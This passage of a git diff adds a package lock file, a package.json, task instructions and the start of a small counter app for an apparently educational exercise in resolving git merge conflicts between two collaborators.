"sha512-xAg7SOnEhrm5zI3puOOKyy1OMcMlIJZYNJY7xLBwSze0UjhPLnWfj2GF2EpT0jmzaJKIWKHLsaSSajf35bcYnA==", + "dev": true, + "dependencies": { + "xmlchars": "^2.2.0" + }, + "engines": { + "node": ">=v12.22.7" + } + }, + "node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "dev": true, + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/set-function-length": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/set-function-length/-/set-function-length-1.2.0.tgz", + "integrity": "sha512-4DBHDoyHlM1IRPGYcoxexgh67y4ueR53FKV1yyxwFMY7aCqcN/38M1+SwZ/qJQ8iLv7+ck385ot4CcisOAPT9w==", + "dev": true, + "dependencies": { + "define-data-property": "^1.1.1", + "function-bind": "^1.1.2", + "get-intrinsic": "^1.2.2", + "gopd": "^1.0.1", + "has-property-descriptors": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/set-function-name": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/set-function-name/-/set-function-name-2.0.1.tgz", + "integrity": "sha512-tMNCiqYVkXIZgc2Hnoy2IvC/f8ezc5koaRFkCjrpWzGpCd3qbZXPzVy9MAZzK1ch/X0jvSkojys3oqJN0qCmdA==", + "dev": true, + "dependencies": { + "define-data-property": "^1.0.1", + "functions-have-names": "^1.2.3", + "has-property-descriptors": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/shebang-command": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", + "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "dev": true, + "dependencies": { + "shebang-regex": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/shebang-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/side-channel": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.4.tgz", + "integrity": "sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.0", + "get-intrinsic": "^1.0.2", + "object-inspect": "^1.9.0" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/signal-exit": { + "version": "3.0.7", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", + "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==", + "dev": true + }, + "node_modules/sisteransi": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/sisteransi/-/sisteransi-1.0.5.tgz", + "integrity": "sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg==", + "dev": true + }, + "node_modules/slash": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", + "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/source-map-support": { + "version": "0.5.13", + "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.13.tgz", + "integrity": "sha512-SHSKFHadjVA5oR4PPqhtAVdcBWwRYVd6g6cAXnIbRiIwc2EhPrTuKUBdSLvlEKyIP3GCf89fltvcZiP9MMFA1w==", + "dev": true, + "dependencies": { + "buffer-from": "^1.0.0", + "source-map": "^0.6.0" + } + }, + "node_modules/sprintf-js": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", + "integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==", + "dev": true + }, + "node_modules/stack-utils": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/stack-utils/-/stack-utils-2.0.6.tgz", + "integrity": "sha512-XlkWvfIm6RmsWtNJx+uqtKLS8eqFbxUg0ZzLXqY0caEy9l7hruX8IpiDnjsLavoBgqCCR71TqWO8MaXYheJ3RQ==", + "dev": true, + "dependencies": { + "escape-string-regexp": "^2.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/stop-iteration-iterator": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/stop-iteration-iterator/-/stop-iteration-iterator-1.0.0.tgz", + "integrity": "sha512-iCGQj+0l0HOdZ2AEeBADlsRC+vsnDsZsbdSiH1yNSjcfKM7fdpCMfqAL/dwF5BLiw/XhRft/Wax6zQbhq2BcjQ==", + "dev": true, + "dependencies": { + "internal-slot": "^1.0.4" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/string-length": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/string-length/-/string-length-4.0.2.tgz", + "integrity": "sha512-+l6rNN5fYHNhZZy41RXsYptCjA2Igmq4EG7kZAYFQI1E1VTXarr6ZPXBg6eq7Y6eK4FEhY6AJlyuFIb/v/S0VQ==", + "dev": true, + "dependencies": { + "char-regex": "^1.0.2", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dev": true, + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-bom": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-4.0.0.tgz", + "integrity": "sha512-3xurFv5tEgii33Zi8Jtp55wEIILR9eh34FAW00PZf+JnSsTmV/ioewSgQl97JHvgjoRGwPShsWm+IdrxB35d0w==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-final-newline": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/strip-final-newline/-/strip-final-newline-2.0.0.tgz", + "integrity": "sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/strip-indent": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/strip-indent/-/strip-indent-3.0.0.tgz", + "integrity": "sha512-laJTa3Jb+VQpaC6DseHhF7dXVqHTfJPCRDaEbid/drOhgitgYku/letMUqOXFoWV0zIIUbjpdH2t+tYj4bQMRQ==", + "dev": true, + "dependencies": { + "min-indent": "^1.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-json-comments": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz", + "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==", + "dev": true, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/supports-preserve-symlinks-flag": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", + "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==", + "dev": true, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/symbol-tree": { + "version": "3.2.4", + "resolved": "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz", + "integrity": "sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw==", + "dev": true + }, + "node_modules/test-exclude": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/test-exclude/-/test-exclude-6.0.0.tgz", + "integrity": "sha512-cAGWPIyOHU6zlmg88jwm7VRyXnMN7iV68OGAbYDk/Mh/xC/pzVPlQtY6ngoIH/5/tciuhGfvESU8GrHrcxD56w==", + "dev": true, + "dependencies": { + "@istanbuljs/schema": "^0.1.2", + "glob": "^7.1.4", + "minimatch": "^3.0.4" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/tmpl": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/tmpl/-/tmpl-1.0.5.tgz", + "integrity": "sha512-3f0uOEAQwIqGuWW2MVzYg8fV/QNnc/IpuJNG837rLuczAaLVHslWHZQj4IGiEl5Hs3kkbhwL9Ab7Hrsmuj+Smw==", + "dev": true + }, + "node_modules/to-fast-properties": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-2.0.0.tgz", + "integrity": "sha512-/OaKK0xYrs3DmxRYqL/yDc+FxFUVYhDlXMhRmv3z915w2HF1tnN1omB354j8VUGO/hbRzyD6Y3sA7v7GS/ceog==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "dependencies": { + "is-number": "^7.0.0" + }, + "engines": { + "node": ">=8.0" + } + }, + "node_modules/tough-cookie": { + "version": "4.1.3", + "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-4.1.3.tgz", + "integrity": "sha512-aX/y5pVRkfRnfmuX+OdbSdXvPe6ieKX/G2s7e98f4poJHnqH3281gDPm/metm6E/WRamfx7WC4HUqkWHfQHprw==", + "dev": true, + "dependencies": { + "psl": "^1.1.33", + "punycode": "^2.1.1", + "universalify": "^0.2.0", + "url-parse": "^1.5.3" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/tr46": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/tr46/-/tr46-3.0.0.tgz", + "integrity": "sha512-l7FvfAHlcmulp8kr+flpQZmVwtu7nfRV7NZujtN0OqES8EL4O4e0qqzL0DC5gAvx/ZC/9lk6rhcUwYvkBnBnYA==", + "dev": true, + "dependencies": { + "punycode": "^2.1.1" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/type-detect": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/type-detect/-/type-detect-4.0.8.tgz", + "integrity": "sha512-0fr/mIH1dlO+x7TlcMy+bIDqKPsw/70tVyeHW787goQjhmqaZe10uwLujubK9q9Lg6Fiho1KUKDYz0Z7k7g5/g==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/type-fest": { + "version": "0.21.3", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.21.3.tgz", + "integrity": "sha512-t0rzBq87m3fVcduHDUFhKmyyX+9eo6WQjZvf51Ea/M0Q7+T374Jp1aUiyUl0GKxp8M/OETVHSDvmkyPgvX+X2w==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/undici-types": { + "version": "5.26.5", + "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-5.26.5.tgz", + "integrity": "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA==", + "dev": true + }, + "node_modules/unicode-canonical-property-names-ecmascript": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/unicode-canonical-property-names-ecmascript/-/unicode-canonical-property-names-ecmascript-2.0.0.tgz", + "integrity": "sha512-yY5PpDlfVIU5+y/BSCxAJRBIS1Zc2dDG3Ujq+sR0U+JjUevW2JhocOF+soROYDSaAezOzOKuyyixhD6mBknSmQ==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/unicode-match-property-ecmascript": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/unicode-match-property-ecmascript/-/unicode-match-property-ecmascript-2.0.0.tgz", + "integrity": "sha512-5kaZCrbp5mmbz5ulBkDkbY0SsPOjKqVS35VpL9ulMPfSl0J0Xsm+9Evphv9CoIZFwre7aJoa94AY6seMKGVN5Q==", + "dev": true, + "dependencies": { + "unicode-canonical-property-names-ecmascript": "^2.0.0", + "unicode-property-aliases-ecmascript": "^2.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/unicode-match-property-value-ecmascript": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-2.1.0.tgz", + "integrity": "sha512-qxkjQt6qjg/mYscYMC0XKRn3Rh0wFPlfxB0xkt9CfyTvpX1Ra0+rAmdX2QyAobptSEvuy4RtpPRui6XkV+8wjA==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/unicode-property-aliases-ecmascript": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/unicode-property-aliases-ecmascript/-/unicode-property-aliases-ecmascript-2.1.0.tgz", + "integrity": "sha512-6t3foTQI9qne+OZoVQB/8x8rk2k1eVy1gRXhV3oFQ5T6R1dqQ1xtin3XqSlx3+ATBkliTaR/hHyJBm+LVPNM8w==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/universalify": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.2.0.tgz", + "integrity": "sha512-CJ1QgKmNg3CwvAv/kOFmtnEN05f0D/cn9QntgNOQlQF9dgvVTHj3t+8JPdjqawCHk7V/KA+fbUqzZ9XWhcqPUg==", + "dev": true, + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/update-browserslist-db": { + "version": "1.0.13", + "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.0.13.tgz", + "integrity": "sha512-xebP81SNcPuNpPP3uzeW1NYXxI3rxyJzF3pD6sH4jE7o/IX+WtSpwnVU+qIsDPyk0d3hmFQ7mjqc6AtV604hbg==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "dependencies": { + "escalade": "^3.1.1", + "picocolors": "^1.0.0" + }, + "bin": { + "update-browserslist-db": "cli.js" + }, + "peerDependencies": { + "browserslist": ">= 4.21.0" + } + }, + "node_modules/url-parse": { + "version": "1.5.10", + "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.5.10.tgz", + "integrity": "sha512-WypcfiRhfeUP9vvF0j6rw0J3hrWrw6iZv3+22h6iRMJ/8z1Tj6XfLP4DsUix5MhMPnXpiHDoKyoZ/bdCkwBCiQ==", + "dev": true, + "dependencies": { + "querystringify": "^2.1.1", + "requires-port": "^1.0.0" + } + }, + "node_modules/v8-to-istanbul": { + "version": "9.2.0", + "resolved": "https://registry.npmjs.org/v8-to-istanbul/-/v8-to-istanbul-9.2.0.tgz", + "integrity": "sha512-/EH/sDgxU2eGxajKdwLCDmQ4FWq+kpi3uCmBGpw1xJtnAxEjlD8j8PEiGWpCIMIs3ciNAgH0d3TTJiUkYzyZjA==", + "dev": true, + "dependencies": { + "@jridgewell/trace-mapping": "^0.3.12", + "@types/istanbul-lib-coverage": "^2.0.1", + "convert-source-map": "^2.0.0" + }, + "engines": { + "node": ">=10.12.0" + } + }, + "node_modules/w3c-xmlserializer": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-4.0.0.tgz", + "integrity": "sha512-d+BFHzbiCx6zGfz0HyQ6Rg69w9k19nviJspaj4yNscGjrHu94sVP+aRm75yEbCh+r2/yR+7q6hux9LVtbuTGBw==", + "dev": true, + "dependencies": { + "xml-name-validator": "^4.0.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/walker": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/walker/-/walker-1.0.8.tgz", + "integrity": "sha512-ts/8E8l5b7kY0vlWLewOkDXMmPdLcVV4GmOQLyxuSswIJsweeFZtAsMF7k1Nszz+TYBQrlYRmzOnr398y1JemQ==", + "dev": true, + "dependencies": { + "makeerror": "1.0.12" + } + }, + "node_modules/webidl-conversions": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-7.0.0.tgz", + "integrity": "sha512-VwddBukDzu71offAQR975unBIGqfKZpM+8ZX6ySk8nYhVoo5CYaZyzt3YBvYtRtO+aoGlqxPg/B87NGVZ/fu6g==", + "dev": true, + "engines": { + "node": ">=12" + } + }, + "node_modules/whatwg-encoding": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-2.0.0.tgz", + "integrity": "sha512-p41ogyeMUrw3jWclHWTQg1k05DSVXPLcVxRTYsXUk+ZooOCZLcoYgPZ/HL/D/N+uQPOtcp1me1WhBEaX02mhWg==", + "dev": true, + "dependencies": { + "iconv-lite": "0.6.3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/whatwg-mimetype": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-3.0.0.tgz", + "integrity": "sha512-nt+N2dzIutVRxARx1nghPKGv1xHikU7HKdfafKkLNLindmPU/ch3U31NOCGGA/dmPcmb1VlofO0vnKAcsm0o/Q==", + "dev": true, + "engines": { + "node": ">=12" + } + }, + "node_modules/whatwg-url": { + "version": "11.0.0", + "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-11.0.0.tgz", + "integrity": "sha512-RKT8HExMpoYx4igMiVMY83lN6UeITKJlBQ+vR/8ZJ8OCdSiN3RwCq+9gH0+Xzj0+5IrM6i4j/6LuvzbZIQgEcQ==", + "dev": true, + "dependencies": { + "tr46": "^3.0.0", + "webidl-conversions": "^7.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/which": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "dev": true, + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "node-which": "bin/node-which" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/which-boxed-primitive": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/which-boxed-primitive/-/which-boxed-primitive-1.0.2.tgz", + "integrity": "sha512-bwZdv0AKLpplFY2KZRX6TvyuN7ojjr7lwkg6ml0roIy9YeuSr7JS372qlNW18UQYzgYK9ziGcerWqZOmEn9VNg==", + "dev": true, + "dependencies": { + "is-bigint": "^1.0.1", + "is-boolean-object": "^1.1.0", + "is-number-object": "^1.0.4", + "is-string": "^1.0.5", + "is-symbol": "^1.0.3" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/which-collection": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/which-collection/-/which-collection-1.0.1.tgz", + "integrity": "sha512-W8xeTUwaln8i3K/cY1nGXzdnVZlidBcagyNFtBdD5kxnb4TvGKR7FfSIS3mYpwWS1QUCutfKz8IY8RjftB0+1A==", + "dev": true, + "dependencies": { + "is-map": "^2.0.1", + "is-set": "^2.0.1", + "is-weakmap": "^2.0.1", + "is-weakset": "^2.0.1" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/which-typed-array": { + "version": "1.1.13", + "resolved": "https://registry.npmjs.org/which-typed-array/-/which-typed-array-1.1.13.tgz", + "integrity": "sha512-P5Nra0qjSncduVPEAr7xhoF5guty49ArDTwzJ/yNuPIbZppyRxFQsRCWrocxIY+CnMVG+qfbU2FmDKyvSGClow==", + "dev": true, + "dependencies": { + "available-typed-arrays": "^1.0.5", + "call-bind": "^1.0.4", + "for-each": "^0.3.3", + "gopd": "^1.0.1", + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/wrap-ansi": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==", + "dev": true + }, + "node_modules/write-file-atomic": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/write-file-atomic/-/write-file-atomic-4.0.2.tgz", + "integrity": "sha512-7KxauUdBmSdWnmpaGFg+ppNjKF8uNLry8LyzjauQDOVONfFLNKrKvQOxZ/VuTIcS/gge/YNahf5RIIQWTSarlg==", + "dev": true, + "dependencies": { + "imurmurhash": "^0.1.4", + "signal-exit": "^3.0.7" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || >=16.0.0" + } + }, + "node_modules/ws": { + "version": "8.18.0", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.18.0.tgz", + "integrity": "sha512-8VbfWfHLbbwu3+N6OKsOMpBdT4kXPDDB9cJk2bJ6mh9ucxdlnNvH1e+roYkKmN9Nxw2yjz7VzeO9oOz2zJ04Pw==", + "dev": true, + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": ">=5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, + "node_modules/xml-name-validator": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-4.0.0.tgz", + "integrity": "sha512-ICP2e+jsHvAj2E2lIHxa5tjXRlKDJo4IdvPvCXbXQGdzSfmSpNVyIKMvoZHjDY9DP0zV17iI85o90vRFXNccRw==", + "dev": true, + "engines": { + "node": ">=12" + } + }, + "node_modules/xmlchars": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/xmlchars/-/xmlchars-2.2.0.tgz", + "integrity": "sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw==", + "dev": true + }, + "node_modules/y18n": { + "version": "5.0.8", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", + "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", + "dev": true, + "engines": { + "node": ">=10" + } + }, + "node_modules/yallist": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz", + "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==", + "dev": true + }, + "node_modules/yargs": { + "version": "17.7.2", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.7.2.tgz", + "integrity": "sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w==", + "dev": true, + "dependencies": { + "cliui": "^8.0.1", + "escalade": "^3.1.1", + "get-caller-file": "^2.0.5", + "require-directory": "^2.1.1", + "string-width": "^4.2.3", + "y18n": "^5.0.5", + "yargs-parser": "^21.1.1" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/yargs-parser": { + "version": "21.1.1", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.1.1.tgz", + "integrity": "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==", + "dev": true, + "engines": { + "node": ">=12" + } + }, + "node_modules/yocto-queue": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", + "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + } + } +} diff --git a/dom-merge-conflict/package.json b/dom-merge-conflict/package.json new file mode 100644 index 00000000..e902f43d --- /dev/null +++ b/dom-merge-conflict/package.json @@ -0,0 +1,12 @@ +{ + "devDependencies": { + "@babel/preset-env": "^7.23.8", + "@testing-library/dom": "^9.3.4", + "@testing-library/jest-dom": "^6.2.0", + "jest": "^29.7.0", + "jest-environment-jsdom": "^29.7.0" + }, + "scripts": { + "test": "jest" + } +} diff --git a/dom-merge-conflict/tasks/buttons-and-counter/instructions.md b/dom-merge-conflict/tasks/buttons-and-counter/instructions.md new file mode 100644 index 00000000..b06f35fc --- /dev/null +++ b/dom-merge-conflict/tasks/buttons-and-counter/instructions.md @@ -0,0 +1,23 @@ +# Buttons and Counter + +This app currently features a button that increments a counter. + +## Task for Person 1 + +Create and switch to a new branch named `split-app-components`: + +``` +git switch -c split-app-components +``` + +Split the header, main into separate components. You should end up with an `app.js` file, a `header.js` file, and a `main.js` file in your `src` directory. + +## Task for Person 2 + +Create and switch to a new branch named `add-decrement-button`: + +``` +git switch -c add-decrement-button +``` + +Unskip the tests that describe the decrement button, then in the app add the new decrement button. Make sure to update the description of the app in the header. diff --git a/dom-merge-conflict/tasks/buttons-and-counter/src/app.js b/dom-merge-conflict/tasks/buttons-and-counter/src/app.js new file mode 100644 index 00000000..af608eb6 --- /dev/null +++ b/dom-merge-conflict/tasks/buttons-and-counter/src/app.js @@ -0,0 +1,31 @@ +//increments the number in a node's text +function increment(node) { + let current = node.textContent; + node.textContent = Number(current) + 1; +} + +export function App() { + const body = document.createElement("body"); + + const header = document.createElement("header"); + header.innerHTML = ` +

                      Number Counter

                      +

                      A simple counter. Press increment to increase the count by one.

                      + `; + body.appendChild(header); + + const main = document.createElement("main"); + main.innerHTML = ` +

                      0

